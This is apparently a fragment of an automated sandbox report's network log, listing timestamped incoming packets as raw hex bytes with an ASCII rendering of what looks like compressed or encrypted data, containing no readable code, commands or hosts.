2022-12-05 14:13:35 UTC	158	IN	Data Raw: dc 4e 98 e3 d9 31 a4 87 27 0a 2b c8 4b d9 b0 77 f2 7e 1c 0b d2 c8 42 63 ac 18 c5 62 0d 21 f3 df 48 2b 3d b5 c6 b0 50 0e ba a7 1c 86 b2 ba 63 83 d2 13 61 64 27 48 bc c7 ed a0 e0 ec 10 2c 74 ee 44 cc d4 0d c4 6c f5 a1 40 09 ee 92 c3 54 9a ee 05 92 3a ff f7 7d 99 34 e9 91 dd 68 19 62 d9 94 08 75 3b e0 4e aa 0e e9 b1 91 ac 9b d2 26 6c d7 27 a6 4d d9 ee 91 74 5b 5b d7 25 b6 ec 1c 5e 04 ca cf d5 07 b9 79 97 72 70 67 56 d9 3c 28 74 8f d2 94 19 70 d9 a3 db e0 c3 80 6c 4a 0d ff ff 5f b8 f3 b4 6d 8f c7 31 fe 92 3b 6d ee bf 63 52 36 36 d3 83 92 a0 8d 24 07 86 59 e4 3b 67 a8 cf 3d 26 9f ad e8 53 1d 89 9d 17 3d 75 a6 cb 8b a6 5a 8f 72 98 47 44 50 b6 b7 0c 26 de 80 9e 31 6f 36 8e 5e c7 8a be f4 5e 24 f3 28 89 24 27 db de bb 66 29 c1 6f 63 bc 51 09 53 67 01 dd 7c 4e 42 Data Ascii: N1'+Kw~Bcb!H+=Pcad'H,tDl@T:}4hbu;N&l'Mt[[%^yrpgV<(tplJ_m1;mcR66$Y;g=&S=uZrGDP&1o6^^$($'f)ocQSg\|NB
2022-12-05 14:13:35 UTC	159	IN	Data Raw: fd ea 0c 47 8c 3a e3 43 31 f1 2f 07 5f 07 10 f6 7b cd 29 0c 92 df cb b6 25 fa 80 d5 74 8f fb 3a 4f c1 04 3e 08 73 cf 77 6e 33 2b 38 c2 5d a9 ef 56 87 28 98 04 08 ed e5 d1 67 19 32 c9 a1 49 ad 42 11 b9 0b 89 26 ad 56 72 90 31 59 2a 8d 46 11 3e 3d 87 53 f2 e8 3c 00 2a 93 92 5b a0 fb da c6 da 61 93 8b 36 b3 e8 dc 2d e6 64 8e e2 d0 41 0c 45 08 04 f4 d3 26 ae 38 30 51 24 23 18 99 5b 93 0c 72 56 56 ef 98 f9 25 ae c5 80 e3 35 05 37 fb 54 09 74 1b 87 c8 97 f6 97 2f c1 a2 7a 99 df 2d 1e d5 c9 4e 8b bc 90 72 ea 01 84 68 7d 35 a8 e1 53 86 05 a3 6b ba a3 a6 7c 3b 85 93 23 1f b2 60 b2 9f 83 9d b6 5a 73 fb 42 dc 46 b8 5e 5a c6 be 8b 5a d0 ac 93 75 c1 5f b1 ed 82 4a b9 81 d5 0d 55 81 20 a6 cd 36 60 56 56 95 14 f1 fd 3a 5e 43 42 11 dd 4f e1 28 ed b5 f0 91 8d ac b7 97 89 Data Ascii: G:C1/_{)%t:O>swn3+8]V(g2IB&Vr1YF>=S<[a6-dAE&80Q$#[rVV%57Tt/z-Nrh}5Sk\|;#`ZsBF^ZZu_JU 6`VV:^CBO(
2022-12-05 14:13:35 UTC	160	IN	Data Raw: a6 3c 00 10 3e 79 69 0c 45 8b c5 69 3e 7d 23 f1 cc 6d b3 41 12 19 f1 69 2c fb d3 b6 c5 a1 d9 5e 34 53 56 7f c5 39 79 81 62 85 a3 a0 82 11 91 92 ef 86 42 61 ac 10 5c 1a 56 e1 ce 8c cb 3a 91 84 f9 38 b6 f6 86 02 79 c4 95 bb cf 51 d0 98 0e ba 37 6d ba 6a cb dc d2 d1 3b be b6 eb 4b 38 6a 9c 8c b4 06 28 25 03 d5 45 60 fb 2f 8f a5 ad 7c 71 af eb 51 19 1f 96 de 23 aa 57 e3 db 1a 88 45 b4 71 96 2c 78 3b 7e 7c bf 70 62 3c e3 37 51 af 62 d0 55 b0 04 98 22 75 17 84 dd 40 3f 51 08 77 95 a3 82 52 85 46 4b 3e 38 e8 66 9e de 81 38 b3 bd 79 1e 2a 5e 82 5f ef 73 27 c0 25 51 17 f9 8b 09 9c e3 21 84 8e 47 6f 16 c9 bd c7 82 1b cf 3e 34 61 f4 3d bc 8a 80 6c 01 50 66 02 f9 7d f3 20 c0 a4 e6 0a fd 08 cd 21 f9 c6 d8 c0 80 90 45 d7 86 12 af 0c 7d 05 27 9b a8 73 79 06 0b fe e0 3e Data Ascii: <>yiEi>}#mAi,^4SV9ybBa\V:8yQ7mj;K8j(%E`/\|qQ#WEq,x;~\|pb<7QbU"u@?QwRFK>8f8y*^_s'%Q!Go>4a=lPf} !E}'sy>
2022-12-05 14:13:35 UTC	162	IN	Data Raw: 1d ad 6b 4e 64 13 d8 26 88 82 6e 11 0c 83 63 2e 1c cc d8 48 22 23 f2 a9 e1 81 fe d2 eb d8 51 2f 20 a9 26 96 8c 11 b9 53 99 2b cd 7f fe 79 06 8d 84 dc 48 c7 73 63 3c f3 49 01 e7 f7 50 52 3b e0 db ac af 0c f9 45 80 44 dd 0a ba 1d b0 4b 2d ae ec b6 9c 54 69 75 db b1 f0 fe fa e1 a5 61 03 1f 66 f5 b6 3c 5f e6 96 e9 cf 2f a5 0b Data Ascii: kNd&nc.H"#Q/ &S+yHsc<IPR;EDK-Tiuaf<_/
2022-12-05 14:13:35 UTC	162	IN	Data Raw: 09 73 f4 48 2d 3e 3e 20 19 62 2c 43 5b b8 71 41 19 20 56 4d ca c4 4c 3d 23 da 0a e7 d2 50 d5 62 e5 63 c7 87 87 a0 b9 c6 3d 9d 9c df 07 7f f6 30 cf 7a 55 d8 4c 12 45 f9 2f 27 ee f5 15 04 80 fb a7 93 54 84 aa 58 df 21 d7 8d 45 a7 01 33 17 20 86 85 5c 42 ba 28 38 2b 24 b8 d6 63 f2 94 d9 56 a2 21 09 06 b9 79 60 ce 53 0f a4 8b 57 85 8a bb 89 f7 8c 65 a4 f7 f2 b6 36 df ad 60 79 ad 6d da 7b ad 44 ef ea 89 fc 49 a5 e4 44 eb 59 f3 69 d8 99 83 fc 8c 29 44 e6 de 15 32 f7 9e 2a 74 aa 64 4a 26 82 64 33 5c 82 48 6d fe c1 16 cc b8 90 8c e5 37 81 61 09 30 41 2c ae 53 fc 19 f3 62 d9 85 a0 d1 69 78 b5 59 bd 57 59 b5 0a e6 c0 4f 1e dc 77 82 0f db f5 f7 de 76 22 c5 74 63 a0 9b 21 00 c6 88 ef c9 cb 6f 91 7d 89 b9 79 e3 db b3 66 e3 94 49 df ed d5 13 e8 e6 fe 32 55 6e 03 2a e1 Data Ascii: sH->> b,C[qA VML=#Pbc=0zULE/'TX!E3 \B(8+$cV!y`SWe6`ym{DIDYi)D2tdJ&d3\Hm7a0A,SbixYWYOwv"tc!o}yfI2Un
2022-12-05 14:13:35 UTC	163	IN	Data Raw: d9 fa dc 24 80 30 15 8a 8c 18 65 23 9c 20 ec ec b4 a2 a8 f9 3e 65 48 2a 98 86 63 df f7 fd c8 de 1f f4 c3 8a a0 52 e0 7a 92 a5 9a 10 4d 70 54 8f 35 08 d9 de 5e a7 ac 79 0d a2 c2 a4 b3 52 16 15 d5 86 aa 26 79 fb ae 8a c8 f1 39 93 1b 0f d2 a2 b9 55 70 0a e0 cc b0 19 a4 a1 12 40 a0 f6 6e b4 5e 41 0e 9d 4f 2a 80 fc 28 eb 87 f0 c1 e9 9e d7 bf 38 a2 d7 7c d8 26 b1 67 df f9 60 28 3e db 73 23 d7 1b b5 3f a9 40 e9 03 c7 3b 60 17 ae ff 82 e9 4e 71 ef 7d b1 d9 1d 96 9b 03 62 63 0d a4 2e 7c a3 83 41 40 9c 6e 15 e4 e7 e1 5d c8 3d 62 c1 e6 20 33 2f a4 68 af 7d 7f 19 1d 8b 77 01 74 60 e1 41 5e 01 1a c8 83 54 bf 84 41 21 70 85 4f 86 bf 33 bd 1e 7c b3 a1 42 22 e0 73 6b e9 5c c5 98 61 97 33 6b 2e 4a b4 68 86 18 7d 3c ea 56 30 fd cf 75 17 51 da 5d ee dc ce ab d6 62 4d 1b a8 Data Ascii: $0e# >eHcRzMpT5^yR&y9Up@n^AO(8\|&g`(>s#?@;`Nq}bc.\|A@n]=b 3/h}wt`A^TA!pO3\|B"sk\a3k.Jh}<V0uQ]bM
2022-12-05 14:13:35 UTC	164	IN	Data Raw: 33 09 c6 66 b9 43 2e 3f d7 15 05 b5 cd 64 27 09 0b 04 fa ba d1 bd 2c b6 49 aa ef f2 43 ea 96 32 05 71 26 c4 2e 0b 2c 56 86 20 ff d8 f1 b1 8f 30 09 1c 99 e7 24 a9 6d 5e 2b e9 cc 2f 24 e8 4f 4f ca 32 d1 6a 68 e4 7f 04 df c6 a8 93 16 37 4d 5f 23 ba eb 5e ca 4a 2d 33 ce 26 83 5e 21 6a c0 98 81 4e c0 fd 3e 8b 40 13 d3 0c 07 13 95 00 93 d9 25 3c 3f 55 9d 58 55 0a 10 05 91 c9 80 32 66 9e e0 d7 c7 b9 75 df b5 a3 f0 5e 26 a3 43 89 1f cf b4 ca 55 68 e1 22 23 a7 2e 01 0f 9e 9a c1 84 75 fc 6f cc b7 9e f3 61 da 84 40 62 a6 3c 83 56 1f 81 89 3c 09 a0 4b 4d d1 8e f2 23 3f b6 a4 16 a7 6a 9d 30 bf 9a 95 ff ae d9 fd 4b 62 c5 36 55 8a 9b 50 c1 9d da 46 30 ea ca 80 a3 8d 89 97 e2 96 32 6b 78 13 c5 81 ee 7a e1 97 37 20 a7 84 14 82 13 52 44 e6 00 4e 04 00 bb ac 82 57 34 5d 1f Data Ascii: 3fC.?d',IC2q&.,V 0$m^+/$OO2jh7M_#^J-3&^!jN>@%<?UXU2fu^&CUh"#.uoa@b<V<KM#?j0Kb6UPF02kxz7 RDNW4]
2022-12-05 14:13:35 UTC	165	IN	Data Raw: d7 42 91 7a a7 32 d2 46 fe 57 5c cc ae ed e9 3f 3c d3 cb 13 78 cd 24 20 31 a7 62 5e 21 b7 68 c3 cf 5d 76 ac 32 a6 3e 4a cc 37 55 4b 1e e0 48 1e 92 45 5c 91 c2 aa f8 76 4a 73 0d 14 db 7f bd 06 df d8 4c 07 5b 6a b6 f0 b6 89 9b a6 69 e5 f5 91 f5 75 e3 5f f3 bd e2 a0 6f 15 0d 8a f5 0f bb df 2b 0c a8 14 32 63 fa 8e 7c 71 fb 1b 96 8d e5 ca 0f 99 cf 2b e3 5e 57 18 bc 20 59 61 56 ea 2d fb 78 21 1d 5b 76 3d 83 38 c7 9c b7 8f 1f 3d 63 89 2a 4d c4 df 1c 05 7c f4 6a 20 4a 71 ca 4b 76 0a d2 6b a4 2e de 4f e0 be 4b d9 02 3a d4 83 85 39 5e 3d 74 a2 e6 ff ef 7a 89 36 3d de 16 4b e9 f4 6c db 18 bf 8c ce bd 1a 48 5a 37 2e f6 ca 18 94 c1 e8 58 74 f2 ea e6 6d fc 47 a2 0f 6e 80 58 57 b7 fa 59 34 43 6d 86 fd 45 9b 51 ca d0 2d 35 5d 2b b3 45 b0 df 35 68 0e ac 4f 69 61 28 e0 64 Data Ascii: Bz2FW\?<x$ 1b^!h]v2>J7UKHE\vJsL[jiu_o+2c\|q+^W YaV-x![v=8=c*M\|j JqKvk.OK:9^=tz6=KlHZ7.XtmGnXWY4CmEQ-5]+E5hOia(d
2022-12-05 14:13:35 UTC	167	IN	Data Raw: fd 69 5d e2 4c 70 13 14 71 a3 3d ad 50 93 31 b5 10 1d 85 6d ac e0 bc c7 f3 bf 11 92 d9 cc 20 19 f9 4c a6 8f 1f c2 94 18 f7 f5 87 98 e6 fb 42 2a 1a bb 7e 41 93 71 03 9d 6a 28 14 57 5a a7 e2 c3 ac 72 b2 d5 c6 e8 83 19 59 ed 72 46 a8 e4 a1 71 33 7e d8 ee e8 9d da 3c 00 39 a2 e8 a9 39 82 5f 3a be 44 a7 29 09 f5 d6 36 a0 c6 24 5d e3 c3 a1 9a 67 0b de e5 5f df f0 7e db 7e 18 5e a2 a8 f6 1b a6 9f 28 54 ca 07 2f fc 63 4c f9 69 b0 cf 33 f1 79 5a ab 7c 14 be d9 19 8f 75 1b 13 ac 83 e9 4d 81 13 52 cb 3a f4 e7 f2 c6 dc 71 7b b4 4a 2c 70 1b dc 2f 02 08 d8 f6 75 68 38 5a 89 2a 80 f4 41 d6 a5 81 aa 4b 11 e3 3c 2c bf 24 02 cb 87 92 d2 f9 cc 58 d5 d9 42 56 bd cf e9 69 07 43 87 0c ce 0a d8 02 8b 63 ec 74 4f b8 55 cc db b9 14 88 5c f7 9e 6d b4 7b 99 5b 14 5b db 79 ab f0 c8 Data Ascii: i]Lpq=P1m LB~Aqj(WZrYrFq3~<99_:D)6$]g_~~^(T/cLi3yZ\|uMR:q{J,p/uh8ZAK<,$XBViCctOU\m{[[y
2022-12-05 14:13:35 UTC	168	IN	Data Raw: 5d 02 f5 aa c4 73 72 a0 0c a3 ad ee 84 fa da 55 eb 31 ef 54 8a a4 8e e7 ca f9 2b 25 25 b1 e2 e9 4c 37 ad 7a 0d 89 58 7c 2a 44 43 9e f4 9f ed 5a f3 99 a3 4b 06 c0 22 36 fe 39 59 aa 4b 82 6b e7 e5 32 f1 d1 9a 9b 58 8e af f1 62 ab 17 ea 2d bc cc fc 27 df 23 a7 19 f0 c4 b2 88 89 72 0c 10 91 d1 85 22 ff 4a f7 bc a1 96 66 b2 21 11 62 89 cc ad 6c 19 02 ea e1 1d 2b 7d d4 0d ab 4d f1 87 96 80 67 24 03 7f e8 dd 03 01 34 04 aa 1c a9 b1 11 2f f8 26 95 ca 3d b2 46 1c b2 c6 37 43 18 a8 5c 1f df a3 d0 ab c6 d5 dd 6f 19 ca 6b 6f cd 04 8b d8 e8 71 fb 30 1f 1e 03 29 de 4d 5d 5e b1 76 fe 5e c2 62 8e 97 85 a9 4f c0 ec 14 cf f0 ed cf b3 cd 69 aa fe f9 0a 1a de d8 19 93 1e f3 63 15 a6 e1 f6 0e 67 0a 56 7a 81 51 a7 d0 20 bf cc 4d c9 08 1c b3 3c 84 c5 e4 4c 18 3f 56 25 37 17 a7 Data Ascii: ]srU1T+%%L7zX\|*DCZK"69YKk2Xb-'#r"Jf!bl+}Mg$4/&=F7C\okoq0)M]^v^bOicgVzQ M<L?V%7
2022-12-05 14:13:35 UTC	169	IN	Data Raw: ec a9 c6 c1 65 c1 aa f1 2a e7 ee 44 df e3 01 bb 45 a1 a6 b5 87 42 e5 08 9e f2 8d 88 eb 09 98 d6 1d 05 0f 55 25 45 7e b4 80 59 eb f3 4f 75 90 14 df ca 2f 82 da 0e 4c 1a 2f 86 b6 2e b3 d3 a2 ab 48 f0 f4 8f 5f cb b9 03 66 36 96 7a 5a f0 7f cc e1 0c b1 94 55 f6 26 b2 6f bc 18 ed 08 5d d2 a9 66 36 f8 93 d2 e2 da a8 7b 2d a8 80 e9 51 74 79 a6 0f b0 26 d5 d3 22 16 b0 f2 58 a6 73 4b 61 c8 bc 8e 49 0b 83 8c 8a 7f 48 98 1e b4 3b 84 ba b8 90 53 e7 67 b9 e9 41 e8 88 f0 01 0d 3a f0 1d aa 35 a1 d7 3b 32 0d f5 a3 58 ee 8e d7 39 a9 fe 60 17 ba cf 14 e9 40 72 3c 84 39 cf 41 85 3a f6 73 57 87 35 32 c4 a4 81 e5 39 fb 73 77 61 77 9c c0 a8 3b 74 45 93 f4 6f a3 90 ef 00 12 b8 4f 7e d9 b9 ef 4a 14 90 4e 34 22 8f ec f7 41 fc 79 12 7a b3 ca 6a 0f 22 87 e2 5d 8e 1a db 4d 1a 90 bb Data Ascii: e*DEBU%E~YOu/L/.H_f6zZU&o]f6{-Qty&"XsKaIH;SgA:5;2X9`@r<9A:sW529swaw;tEoO~JN4"Ayzj"]M
2022-12-05 14:13:35 UTC	170	IN	Data Raw: df 38 ad e6 21 4c 6c 8c 00 d7 09 77 bd 3e df 6b ee 4f ee dc 1e b2 e8 2a 0f 7e 45 f6 34 36 69 15 9b 26 c3 80 9c b5 15 08 d7 6b da ef a4 80 67 29 c5 5d 01 d3 b4 5a 9d 14 86 52 15 31 09 98 3e 07 4d c0 f6 9c cc 54 61 c2 3b 72 47 70 10 35 6b d5 6e d1 1d ae 20 6c 0c 5a eb 47 7f 98 45 4c 16 4b 1d e7 01 ec 10 41 6e d1 16 52 36 98 3d ca 00 cd b2 32 4f ef 69 b2 53 a7 33 f6 c8 04 37 2d 55 b7 6c ba 43 8f ac bd a4 32 33 4f 17 45 cc 90 8f d3 ab 35 de 67 5f 51 1d f7 d3 53 a8 95 f0 5a 91 8b 20 8c e9 82 a5 47 62 e8 27 3e 7e aa dc f8 7b de d0 8c a1 5f fa 5a 57 7a ec e2 25 65 1d bd 33 8b 08 29 c7 66 56 bc ef cb 2a 74 87 69 f4 8d 59 27 86 f5 08 02 df 77 97 10 5c 62 cc b4 b2 47 6b b9 de b1 60 6b cc 65 bb 88 b3 ad bc b4 bd 4b 63 f4 3e c3 0b e7 dd 2e d7 b9 50 03 61 3e 9e 56 bc Data Ascii: 8!Llw>kO~E46i&kg)]ZR1>MTa;rGp5kn lZGELKAnR6=2OiS37-UlC23OE5g_QSZ Gb'>~{_ZWz%e3)fVtiY'w\bGk`keKc>.Pa>V
2022-12-05 14:13:35 UTC	171	IN	Data Raw: 56 ee 71 a2 9d 58 46 2e 00 37 e4 5f 9b 37 e8 79 5b cb 70 ba 47 9d 8c a4 d3 1f 2b b1 70 ec 3a f9 91 93 6b c4 e9 31 d7 72 4b 72 fe a4 dd bb 44 15 6b aa a0 51 89 92 2e 7d fc 00 9a 54 39 d4 46 e3 b7 7f 0e 70 4a 59 b9 0e fa 9b 34 30 49 47 f9 d1 64 cb 98 f7 3a 9e 99 27 aa 0e a3 5b 49 f7 f7 09 9d 0e 98 3f 92 42 2b a4 26 7c b2 75 82 0a 38 2a 25 96 46 2b 55 4d 52 69 5d a8 af f1 39 eb c2 4b fa d8 0d 5f f3 7d 81 4b d1 67 5c cd f9 19 fb a1 e5 29 9d 57 5a 4d 88 ee c8 a2 03 9a f2 6c 29 0a 9e 4a 8c 01 4b 83 8c 7e 3d 0a 43 56 e9 55 f5 5d fa 28 7a 86 21 22 da fa 51 54 a1 51 f9 39 a9 d5 39 19 3a 93 d1 46 15 a2 f3 36 96 a5 98 2a b1 b4 6f 77 8b 95 0b 36 dc e5 e0 fe 7f 5e 83 67 db 37 76 6a dc 1a 1f 44 13 76 79 12 a8 4a 06 28 ef 42 2a f7 f1 c8 b5 d9 1d 5e 68 e6 4b 8b 63 8c d6 Data Ascii: VqXF.7_7y[pG+p:k1rKrDkQ.}T9FpJY40IGd:'[I?B+&\|u8%F+UMRi]9K_}Kg\)WZMl)JK~=CVU](z!"QTQ99:F6ow6^g7vjDvyJ(B*^hKc
2022-12-05 14:13:35 UTC	173	IN	Data Raw: 4d 8e eb 84 ae 0d c7 fd 47 4f 03 68 96 35 6a d1 7b ef e6 7c 1e 37 61 e4 ce 09 e3 a1 ed 9e d8 3e bf 17 6d 59 62 f3 ed 66 d9 75 61 a7 41 c0 3a 47 74 12 4a fc cd 6f 4f 44 0e 14 74 56 32 00 5a 49 9a fe df 80 b0 9e 73 9c 7a 6e 5b 7d 45 86 14 de 0f 1b c6 6a 22 c8 bc ad 31 0d fc 2c fd 98 94 17 f4 18 82 5b d8 26 bf 8d 8e 9b fb 33 04 59 4d 5b d5 b6 91 32 7b a1 e1 50 da 43 fe 51 48 f1 66 a5 ee 2f 80 5d a2 04 36 ed ce 2e 13 1d e2 f9 45 cc 23 f6 c1 e8 3c 07 9a f0 63 88 c8 78 86 3c d4 5b 0f 08 22 74 09 53 6f 9c f4 43 91 ba 52 83 fd 6e 78 f1 dc 1c 24 7a c8 be c4 b8 05 ba 26 93 0e 9e dd 39 53 cf 43 15 7c 49 e9 a6 28 a4 1e e3 14 59 28 f8 8f 4b 61 5d 77 6f 03 f8 8b a5 44 bf e7 e7 72 ae 19 72 cd 2c 06 c6 5c fe 65 d7 8c a5 41 59 0b 07 10 8d 31 55 14 3d 7c 1d e1 de 9e de 1a Data Ascii: MGOh5j{\|7a>mYbfuaA:GtJoODtV2ZIszn[}Ej"1,[&3YM[2{PCQHf/]6.E#<cx<["tSoCRnx$z&9SC\|I(Y(Ka]woDrr,\eAY1U=\|
2022-12-05 14:13:35 UTC	174	IN	Data Raw: 84 b9 23 c0 2e f1 34 3e 53 2b 0c cd 54 12 77 72 66 aa fd ae a0 4c b2 c0 33 d4 4f 32 b7 c0 3b b2 14 c3 c0 eb 0e 06 d8 2c f2 5d 42 b9 06 0f 55 c8 74 c0 ee 29 c6 51 2f 8e 3e 38 d8 97 29 e6 34 1f 4b 5e b4 5a 9e 74 61 3f 1a d9 38 a7 3d 4a df f9 d0 74 e4 54 6a f0 dd 32 00 cb 20 16 e5 8a 8b 1d fa 2d e8 0c a6 d9 38 96 40 d3 87 31 36 1d d2 30 96 f0 93 d0 66 15 af be f0 8e 4a 06 a5 c2 01 a7 83 7c 11 14 b6 07 af 3d 26 55 65 34 c7 e6 e5 8e a1 bb 1c e6 2b 5e a2 2d 66 a1 83 cf e5 88 2a d6 04 6a 68 d0 0e e3 77 41 7b 7a 0f dc 65 f5 82 85 87 82 ef ac ff 93 4a 7a 73 a7 d8 97 66 db 25 52 61 f6 1a 31 03 54 a5 8a 83 d6 36 72 9e 4e 11 46 4c a2 16 0e a2 82 06 69 bc 30 e5 af cb b6 ca 06 bc 2f 61 fd 8e 65 19 b5 cc 87 22 b7 49 b9 82 02 38 de 96 44 e8 1b 26 4b 94 fe 41 09 78 21 85 Data Ascii: #.4>S+TwrfL3O2;,]BUt)Q/>8)4K^Zta?8=JtTj2 -8@160fJ\|=&Ue4+^-f*jhwA{zeJzsf%Ra1T6rNFLi0/ae"I8D&KAx!
2022-12-05 14:13:35 UTC	175	IN	Data Raw: 9c 6a d1 93 cb a6 46 7f b9 e5 39 d1 07 4f d0 39 3b cb 84 bf 73 29 19 eb f7 a8 d6 20 1e 08 e6 21 4b 53 c2 35 4f c7 91 79 ec 4a 28 4d a2 34 41 3c e8 45 71 e5 5e 7e 47 2d 6c 0d d9 7c 27 af 81 06 17 24 10 58 67 46 d5 f4 97 1f a5 6d fd a8 97 4b 0a 6d e3 7b e5 d4 0c 08 5d 9e 53 63 28 1d b3 27 db 3f a5 67 ac e6 e6 ab dc 72 a2 43 56 93 86 9a b0 46 8f 0e 27 7f b7 05 9a 9a 68 fc 98 26 19 cc 49 15 65 c0 37 95 e1 81 66 b5 d3 68 eb f2 46 c1 e2 58 10 20 78 93 f5 f2 0f 61 d9 8b 46 3a de 77 5e af c3 a4 4e e6 2a 36 09 aa a6 36 2b 2a 5e 82 ba 46 d8 72 7d 11 b9 1d f2 c1 47 c3 44 bd 23 c8 0f 20 6f 75 76 31 25 71 c6 4c db 41 22 d8 c8 03 cc 95 ba 31 95 55 61 17 4b 3d 46 05 20 65 8c fe 89 a7 e2 33 46 1c 6d 34 6d 26 68 72 0d 7e 59 a7 a6 76 77 95 bd 20 7b 16 1e 96 28 0d 44 b9 2d Data Ascii: jF9O9;s) !KS5OyJ(M4A<Eq^~G-l\|'$XgFmKm{]Sc('?grCVF'h&Ie7fhFX xaF:w^N66+^Fr}GD# ouv1%qLA"1UaK=F e3Fm4m&hr~Yvw {(D-
2022-12-05 14:13:35 UTC	176	IN	Data Raw: 63 ad 0c ea b0 7c f5 d0 0e 32 70 e4 9f 39 9f 7c 2d 7f d2 39 0d 64 f4 6e 95 28 72 1a cc 2e 1d 47 1a c1 63 41 ab 3e 9a 1b 1d ef 05 62 cd 20 55 66 53 e1 5b 34 3a 39 22 44 3c f8 c3 8d d5 52 cf 8d 22 fb 33 b9 64 8a 93 ff 01 a5 2c aa fc 49 11 c4 16 d5 a3 90 fa a4 aa 12 bf dc 58 94 4a 9e 7e 7a 21 36 04 6c c5 55 38 72 70 8c f6 08 d5 a9 98 40 ad d8 0c b6 92 32 d9 2f 28 de d1 a0 c2 09 39 05 8a 91 a7 97 33 30 a8 d6 1d 3d 9b 88 a9 c6 e6 f0 fc ae e7 26 7f c2 89 7f 0a 7d 83 21 41 2c df be fb 81 0a 38 0f 3b 1f 94 89 38 a9 a8 b3 69 c2 3f 8c 75 f1 7f b9 cf 94 0e ff 1e 13 2c fc e6 06 a7 b1 d7 16 42 94 68 d0 a1 3e f6 81 61 32 56 c1 e1 0e 69 97 d5 56 36 a9 26 a7 50 a8 b0 b5 a7 8e 10 d7 00 0a b6 71 a4 5e c9 8b d6 12 8b 7d 64 59 ca fd 3b 67 50 35 8b f9 c3 7b 62 fa 72 4a bd d6 Data Ascii: c\|2p9\|-9dn(r.GcA>b UfS[4:9"D<R"3d,IXJ~z!6lU8rp@2/(930=&}!A,8;8i?u,Bh>a2ViV6&Pq^}dY;gP5{brJ
2022-12-05 14:13:35 UTC	178	IN	Data Raw: e9 72 8c ac 9c 89 18 96 7a 0f fd 82 17 02 1b 64 87 94 69 34 e7 dd aa 44 e2 7d 79 4b 0c b3 7f c5 f4 1c c9 77 20 45 7f 12 f2 66 4f 66 b5 3a 1d 31 8e 91 3f 7e 7a 2e a0 f9 dd d4 7d 65 89 78 f4 0e ee 7a b2 a6 4d 98 85 fb 86 30 11 55 dd de f2 5a 52 b0 5c c1 d6 4a 27 25 6d 25 82 bb 1c f0 0d dd 79 1e 94 4d 03 ff e9 c8 3b 66 17 21 Data Ascii: rzdi4D}yKw EfOf:1?~z.}exzM0UZR\J'%m%yM;f!
2022-12-05 14:13:35 UTC	178	IN	Data Raw: aa 69 c3 1a 94 2a 8a 31 aa a0 12 f6 0c 3e e9 ba 97 51 57 d5 a8 46 bc 98 ab 5d ef 9e a4 15 46 07 e6 c0 1b 24 fd a6 85 0d 2d a4 22 36 12 d8 84 80 36 72 7d 1c f6 2b 0d 66 a2 ef 60 10 c8 c5 16 f6 b3 2a e0 69 31 2e 66 13 4b a9 4f 8a 1c fa 4f c3 41 f8 9d 07 88 e9 57 bd cc 8e f0 b2 f6 fb 03 71 98 f7 e0 68 c9 19 e8 20 33 79 1e 41 5a 79 5d bb 42 ea 08 6a 9e fe b8 81 06 84 52 22 7c 4f 82 e3 97 c8 14 87 0b d2 67 ae 18 9a 11 19 02 c5 64 e1 30 dd 7c ba 6d 42 a9 d5 c0 c7 85 f7 bf 00 1c 40 f6 fa 6e c2 d0 67 fd 38 a3 bb 94 e1 cc a8 cb 67 3e a6 ab ee 71 c1 73 80 d9 15 8f b7 06 6b 44 75 c2 f0 06 70 24 05 9d 8a 18 0c 23 59 08 7a d0 8c f6 e9 18 25 6e 55 d8 24 8f 3b 9d b5 63 b4 ac 2f 27 0b 1d 62 0d b0 33 11 80 16 d6 97 ae 47 b9 b6 89 38 68 dc a7 d4 8a 4f 08 92 75 5f 07 c9 29 Data Ascii: i1>QWF]F$-"66r}+f`i1.fKOOAWqh 3yAZy]BjR"\|Ogd0\|mB@ng8g>qskDup$#Yz%nU$;c/'b3G8hOu_)
2022-12-05 14:13:35 UTC	179	IN	Data Raw: cc b1 17 bb c4 f9 60 67 61 d8 30 0a bb 51 34 b2 59 63 f9 b6 89 51 6a 7e 33 53 e5 17 fc b1 fe 56 4b d0 0f 81 e5 cd 78 02 f4 51 2f 10 41 5e 47 cd ef 42 f8 47 f6 88 6f b2 c9 20 f1 fe 25 f4 49 e9 85 56 a7 9b 30 af 43 4b 84 4a b7 18 9a 65 8c 16 b8 f9 ee 16 b9 bf f9 17 f4 63 f4 eb 50 49 78 c2 67 95 5c 31 56 e8 f0 03 ff 2e bd 94 ec 31 85 e6 4c f2 6d bd cb eb b9 b5 27 49 ec 40 93 cc cc b9 b9 03 16 83 e2 34 28 5d fa a8 6f 7b 49 94 c9 38 ec 2a d4 68 96 0c 83 11 0a 2a 08 db b5 94 35 a7 b8 bc cd f5 fe bd 1f 00 a7 af 60 a9 2d 07 c0 70 82 82 db 5c 8a ca 2e 6f 8a ee ea b4 54 7e 50 5e 92 6e 0a 3e 2f aa da fb e7 d2 4f 2d 84 36 fc 64 1f 54 60 07 82 e1 fa d8 fa ad 85 17 f7 2b e5 a8 1f 0b cd c6 fa 4e 8b 4b 19 9a b2 eb 38 b6 42 ae 0c 6b 5a 23 f9 86 78 15 bf b9 7f f4 9d 30 85 Data Ascii: `ga0Q4YcQj~3SVKxQ/A^GBGo %IV0CKJecPIxg\1V.1Lm'I@4(]o{I8h5`-p\.oT~P^n>/O-6dT`+NK8BkZ#x0
2022-12-05 14:13:35 UTC	180	IN	Data Raw: 0b a0 30 bf bc 7a d0 32 1d 39 99 5f 19 74 6e df 6f b2 18 07 1f a3 6c fa cc 16 b0 8a db 85 aa 08 84 01 af 58 26 24 dc e9 d0 10 b9 4f 04 b7 76 bb 49 0c a4 2f 74 f1 59 47 61 64 04 6f 8d fe 22 bd b4 c7 8d 49 d6 e6 59 09 44 2d 46 e8 f1 9b 0b 18 9c 34 ae 67 cb f4 44 b0 cc 7d 85 cb 1a db 25 82 68 89 96 2d e9 ff d2 33 aa cd 9d fa 3f e4 7f 2d 61 24 8d bd 0c f2 2f f5 77 67 74 50 0e 3d 06 c1 cc 8d c6 be 4a 9c b7 1a b4 05 3c 88 88 4b 87 22 d3 9d 33 35 1e ba 77 08 72 08 c8 24 ee 3a b0 7a 2c 14 35 32 72 57 08 0b 82 7a 31 bb cc e1 c9 6f 46 4a 0d 2b ba 5c cc 39 24 b2 e8 c7 78 d0 9b 99 3a 83 31 92 15 f4 f6 4c c2 5c e5 17 04 1d 76 0e 3b ff 74 6a 99 1b 3b b4 5f c0 7f cf da 2e 46 b3 a6 20 90 73 03 7f 45 77 57 72 62 39 27 3b 45 ec 9e c9 c0 fa 7c 4c e8 d3 ea 47 e0 86 49 46 2d Data Ascii: 0z29_tnolX&$OvI/tYGado"IYD-F4gD}%h-3?-a$/wgtP=J<K"35wr$:z,52rWz1oFJ+\9$x:1L\v;tj;_.F 